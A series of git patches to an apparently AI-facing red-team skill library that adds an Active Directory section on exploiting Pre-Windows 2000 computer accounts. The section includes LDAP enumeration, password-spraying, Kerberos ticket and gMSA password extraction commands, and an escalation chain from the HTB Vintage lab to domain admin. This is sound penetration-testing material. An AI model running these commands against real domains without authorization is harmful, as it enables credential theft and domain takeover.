From 0b01a0825cd117372b083bc7193d153600270f16 Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 15:46:34 +0000 Subject: [PATCH 1/6] Add Pre-Windows 2000 Compatible Access (Pre2k) section MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Comprehensive pre2k computer account exploitation guide - Detection indicators: userAccountControl 4128, logonCount=0, group membership - LDAP enumeration + automated pre2k tool (garrettfoster13) - Post-compromise escalation: ReadGMSAPassword → gMSA → ACL abuse - Attack chain from HTB Vintage (FS01$ → gMSA01$ → ServiceManagers → RBCD → DA) - References: 0xBEN writeup, InfoSec writeup, Hacker Recipes, Semperis blog --- .../offensive-active-directory/SKILL.md | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) diff --git a/Skills/active-directory/offensive-active-directory/SKILL.md b/Skills/active-directory/offensive-active-directory/SKILL.md index 46a1b79..4459c59 100644 --- a/Skills/active-directory/offensive-active-directory/SKILL.md +++ b/Skills/active-directory/offensive-active-directory/SKILL.md @@ -105,6 +105,81 @@ impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass hashcat -m 18200 asrep.txt rockyou.txt ``` +### Pre-Windows 2000 Compatible Access (Pre2k) + +**What it is:** Legacy backward-compatibility configuration where computer accounts are created with **"Assign this computer account as a pre-Windows 2000 computer"** enabled. Instead of a random machine password managed by Kerberos, the password defaults to the **lowercase sAMAccountName without the trailing `$`**. + +**Why it exists:** Maintained compatibility with NT 4.0 and older clients that needed simpler authentication. Still found in: +- Lab/CTF environments (intentional weak config) +- Aged enterprise networks with pre-2000 migration artifacts never cleaned up +- Domains where administrators use the legacy "pre-Windows 2000 computer" checkbox during computer object creation + +**Indicators (check these FIRST before attempting):** +- Computer account in `Pre-Windows 2000 Compatible Access` group (check group membership via BloodHound or LDAP) +- Computer has **no SPNs** registered (unusual — real Windows hosts always have `HOST/`, `RestrictedKrbHost/`, etc.) +- Computer object **absent from BloodHound attack-path edges** (no delegation, no ACL inbound/outbound, "orphaned" appearance) +- `pwdLastSet` timestamp unchanged since `whenCreated` (password never rotated) +- `userAccountControl` includes flag `4128` (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) and `logonCount=0` (never logged on) + +**Example:** Computer `FS01$` → default password = `fs01` (lowercase, no `$`) + +```bash +# 1. Identify pre2k candidates via LDAP (authenticated or anonymous if allowed) +ldapsearch -x -H ldap://dc.corp.local -D 'user@corp.local' -w 'password' \ + -b 'DC=corp,DC=local' \ + '(&(userAccountControl=4128)(logonCount=0))' sAMAccountName | grep sAMAccountName + +# Alternatively: check "Pre-Windows 2000 Compatible Access" group members +ldapsearch -x -H ldap://dc.corp.local -D 'user@corp.local' -w 'password' \ + -b 'CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=corp,DC=local' member + +# 2. Generate password wordlist (lowercase sAMAccountName without $) +cat computers.txt | tr '[:upper:]' '[:lower:]' | sed 's/\$$//' > passwords.txt + +# 3. Test with NetExec (line-by-line, no-bruteforce mode) +nxc smb dc.corp.local -u computers.txt -p passwords.txt --no-bruteforce -k + +# 4. Request TGT for valid credential (sync time first — Kerberos <5min skew) +sudo ntpdate dc-ip +impacket-getTGT 'corp.local/COMPUTERNAME$:lowercasehostname' -dc-ip dc-ip +export KRB5CCNAME=COMPUTERNAME\$.ccache +klist # verify ticket + +# Automated tool: pre2k by garrettfoster13 +pipx install git+https://github.com/garrettfoster13/pre2k +pre2k unauth -d corp.local -dc-ip dc-ip -inputfile computers.txt -save +``` + +**Post-compromise with pre2k computer account:** + +Once you have a privileged computer account TGT, enumerate what it can access: + +```bash +# Check group memberships (common: Domain Computers grants ReadGMSAPassword on gMSAs) +ldapsearch -Q -Y GSSAPI -H ldap://dc.corp.local \ + -b 'DC=corp,DC=local' "(sAMAccountName=COMPUTERNAME$)" memberOf + +# Extract gMSA password if ReadGMSAPassword ACE exists +KRB5CCNAME=COMPUTERNAME$.ccache \ + bloodyAD --host dc.corp.local --dc-ip dc-ip -d corp.local -u 'COMPUTERNAME$' -k \ + get object 'gMSA_account$' --attr msDS-ManagedPassword + +# Typical escalation: gMSA → WinRM/SMB as service account → further ACL abuse +impacket-getTGT corp.local/gMSA_account$ -hashes :ntlm_hash -dc-ip dc-ip +``` + +**Common attack chains seen in HTB Vintage:** +1. Pre2k computer (`FS01$:fs01`) → ReadGMSAPassword on `gMSA01$` (via Domain Computers group) +2. gMSA account → AddSelf/GenericWrite on ServiceManagers group +3. ServiceManagers → GenericAll on service accounts → targeted Kerberoast +4. Cracked service account → lateral movement → RBCD → DA + +**References:** +- [HTB Vintage writeup (0xBEN)](https://benheater.com/hackthebox-vintage/) — Full pre2k → gMSA → DA chain +- [HTB Vintage writeup (InfoSec)](https://infosecwriteups.com/htb-vintage-machine-walkthrough-easy-hackthebox-guide-for-beginners-c39008aa3e16) — Step-by-step with bloodyAD +- [The Hacker Recipes: Pre-Windows 2000 computers](https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers) — Detection & exploitation +- [Semperis: Pre-Windows 2000 Compatibility Risks](https://www.semperis.com/blog/security-risks-pre-windows-2000-compatibility-windows-2022/) — Enterprise impact + ### LSASS / SAM Dumping ```cmd From 244f8170e0a801a391a31c54497e9e73ee2b2c9a Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 15:55:32 +0000 Subject: [PATCH 2/6] Add Pre-Windows 2000 Compatible Access (Pre2k) section --- .../offensive-active-directory/SKILL.md | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/Skills/active-directory/offensive-active-directory/SKILL.md b/Skills/active-directory/offensive-active-directory/SKILL.md index 4459c59..a2a93ca 100644 --- a/Skills/active-directory/offensive-active-directory/SKILL.md +++ b/Skills/active-directory/offensive-active-directory/SKILL.md @@ -107,22 +107,6 @@ hashcat -m 18200 asrep.txt rockyou.txt ### Pre-Windows 2000 Compatible Access (Pre2k) -**What it is:** Legacy backward-compatibility configuration where computer accounts are created with **"Assign this computer account as a pre-Windows 2000 computer"** enabled. Instead of a random machine password managed by Kerberos, the password defaults to the **lowercase sAMAccountName without the trailing `$`**. - -**Why it exists:** Maintained compatibility with NT 4.0 and older clients that needed simpler authentication. Still found in: -- Lab/CTF environments (intentional weak config) -- Aged enterprise networks with pre-2000 migration artifacts never cleaned up -- Domains where administrators use the legacy "pre-Windows 2000 computer" checkbox during computer object creation - -**Indicators (check these FIRST before attempting):** -- Computer account in `Pre-Windows 2000 Compatible Access` group (check group membership via BloodHound or LDAP) -- Computer has **no SPNs** registered (unusual — real Windows hosts always have `HOST/`, `RestrictedKrbHost/`, etc.) -- Computer object **absent from BloodHound attack-path edges** (no delegation, no ACL inbound/outbound, "orphaned" appearance) -- `pwdLastSet` timestamp unchanged since `whenCreated` (password never rotated) -- `userAccountControl` includes flag `4128` (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) and `logonCount=0` (never logged on) - -**Example:** Computer `FS01$` → default password = `fs01` (lowercase, no `$`) - ```bash # 1. Identify pre2k candidates via LDAP (authenticated or anonymous if allowed) ldapsearch -x -H ldap://dc.corp.local -D 'user@corp.local' -w 'password' \ From 5f37f2ca7e308742d1b535892fc893de19bd14cc Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 16:04:11 +0000 Subject: [PATCH 3/6] Update skill description to include Pre-Windows 2000 computer accounts --- Skills/active-directory/offensive-active-directory/SKILL.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Skills/active-directory/offensive-active-directory/SKILL.md b/Skills/active-directory/offensive-active-directory/SKILL.md index a2a93ca..ea520f9 100644 --- a/Skills/active-directory/offensive-active-directory/SKILL.md +++ b/Skills/active-directory/offensive-active-directory/SKILL.md @@ -1,6 +1,6 @@ --- name: offensive-active-directory -description: "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments." +description: "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, Pre-Windows 2000 computer accounts, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments." --- # Active Directory — Offensive Testing Methodology From 3b6997df84d9d94b3fdcb93b77308e4de999abe3 Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 16:20:50 +0000 Subject: [PATCH 4/6] docs: Update README, CHANGELOG, and manifest for pre2k addition - README.md: Add 'Pre-Windows 2000 computers' to offensive-active-directory description - CHANGELOG.md: Document pre2k section addition under Unreleased - claude-skills.json: Regenerate manifest with updated skill description --- CHANGELOG.md | 4 ++++ README.md | 2 +- claude-skills.json | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c7c6690..fbea3c5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,10 @@ All notable changes to `claude-red` are documented here. The library follows a p ## [Unreleased] +### Added + +- `offensive-active-directory` — Added Pre-Windows 2000 Compatible Access section covering legacy computer account password exploitation, detection indicators (userAccountControl 4128, logonCount=0, group membership), LDAP enumeration, automated pre2k tool usage, and post-compromise escalation paths (ReadGMSAPassword → gMSA → ACL abuse). References HTB Vintage writeups and The Hacker Recipes. + ### Planned - Phase 1 — Internal AD/Windows split (16 skills) diff --git a/README.md b/README.md index ebffe62..76bde51 100644 --- a/README.md +++ b/README.md @@ -153,7 +153,7 @@ Paste the contents of a `SKILL.md` into a Project's system prompt or prepend to | Skill | Description | |---|---| -| [`offensive-active-directory`](Skills/active-directory/offensive-active-directory/SKILL.md) | AD — Kerberoast, ASREProast, ACL abuse, ADCS ESC1-15, delegation, persistence, hybrid AAD | +| [`offensive-active-directory`](Skills/active-directory/offensive-active-directory/SKILL.md) | AD — Kerberoast, ASREProast, Pre-Windows 2000 computers, ACL abuse, ADCS ESC1-15, delegation, persistence, hybrid AAD | > **Note:** This category is being expanded. The AD overview is being split into 16 focused skills (Kerberoasting, ASREProasting, ADCS, coercion, NTLM relay, BloodHound, ticket forgery, GPO abuse, etc.). See [Roadmap](#roadmap). diff --git a/claude-skills.json b/claude-skills.json index bd7944f..e3be3ae 100644 --- a/claude-skills.json +++ b/claude-skills.json @@ -94,7 +94,7 @@ "name": "offensive-active-directory", "category": "active-directory", "path": "Skills/active-directory/offensive-active-directory/SKILL.md", - "description": "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments." + "description": "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, Pre-Windows 2000 computer accounts, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments." }, { "name": "offensive-ai-security", From 07d695c7e03520c7fc4f1e82cd0db5fa6c14ec38 Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 17:47:24 +0000 Subject: [PATCH 5/6] Add Pre-Windows 2000 Compatible Access (Pre2k) section --- .../offensive-active-directory/SKILL.md | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/Skills/active-directory/offensive-active-directory/SKILL.md b/Skills/active-directory/offensive-active-directory/SKILL.md index ea520f9..aeba8bf 100644 --- a/Skills/active-directory/offensive-active-directory/SKILL.md +++ b/Skills/active-directory/offensive-active-directory/SKILL.md @@ -134,8 +134,6 @@ pipx install git+https://github.com/garrettfoster13/pre2k pre2k unauth -d corp.local -dc-ip dc-ip -inputfile computers.txt -save ``` -**Post-compromise with pre2k computer account:** - Once you have a privileged computer account TGT, enumerate what it can access: ```bash @@ -152,18 +150,6 @@ KRB5CCNAME=COMPUTERNAME$.ccache \ impacket-getTGT corp.local/gMSA_account$ -hashes :ntlm_hash -dc-ip dc-ip ``` -**Common attack chains seen in HTB Vintage:** -1. Pre2k computer (`FS01$:fs01`) → ReadGMSAPassword on `gMSA01$` (via Domain Computers group) -2. gMSA account → AddSelf/GenericWrite on ServiceManagers group -3. ServiceManagers → GenericAll on service accounts → targeted Kerberoast -4. Cracked service account → lateral movement → RBCD → DA - -**References:** -- [HTB Vintage writeup (0xBEN)](https://benheater.com/hackthebox-vintage/) — Full pre2k → gMSA → DA chain -- [HTB Vintage writeup (InfoSec)](https://infosecwriteups.com/htb-vintage-machine-walkthrough-easy-hackthebox-guide-for-beginners-c39008aa3e16) — Step-by-step with bloodyAD -- [The Hacker Recipes: Pre-Windows 2000 computers](https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers) — Detection & exploitation -- [Semperis: Pre-Windows 2000 Compatibility Risks](https://www.semperis.com/blog/security-risks-pre-windows-2000-compatibility-windows-2022/) — Enterprise impact - ### LSASS / SAM Dumping ```cmd From dcdd0c1092a00b67e375aa3db1ba0586956d2252 Mon Sep 17 00:00:00 2001 From: 0x5chltz Date: Fri, 28 Aug 2026 18:25:22 +0000 Subject: [PATCH 6/6] Add Pre-Windows 2000 Compatible Access (Pre2k) section --- Skills/active-directory/offensive-active-directory/SKILL.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/Skills/active-directory/offensive-active-directory/SKILL.md b/Skills/active-directory/offensive-active-directory/SKILL.md index aeba8bf..cb964f8 100644 --- a/Skills/active-directory/offensive-active-directory/SKILL.md +++ b/Skills/active-directory/offensive-active-directory/SKILL.md @@ -128,10 +128,6 @@ sudo ntpdate dc-ip impacket-getTGT 'corp.local/COMPUTERNAME$:lowercasehostname' -dc-ip dc-ip export KRB5CCNAME=COMPUTERNAME\$.ccache klist # verify ticket - -# Automated tool: pre2k by garrettfoster13 -pipx install git+https://github.com/garrettfoster13/pre2k -pre2k unauth -d corp.local -dc-ip dc-ip -inputfile computers.txt -save ``` Once you have a privileged computer account TGT, enumerate what it can access: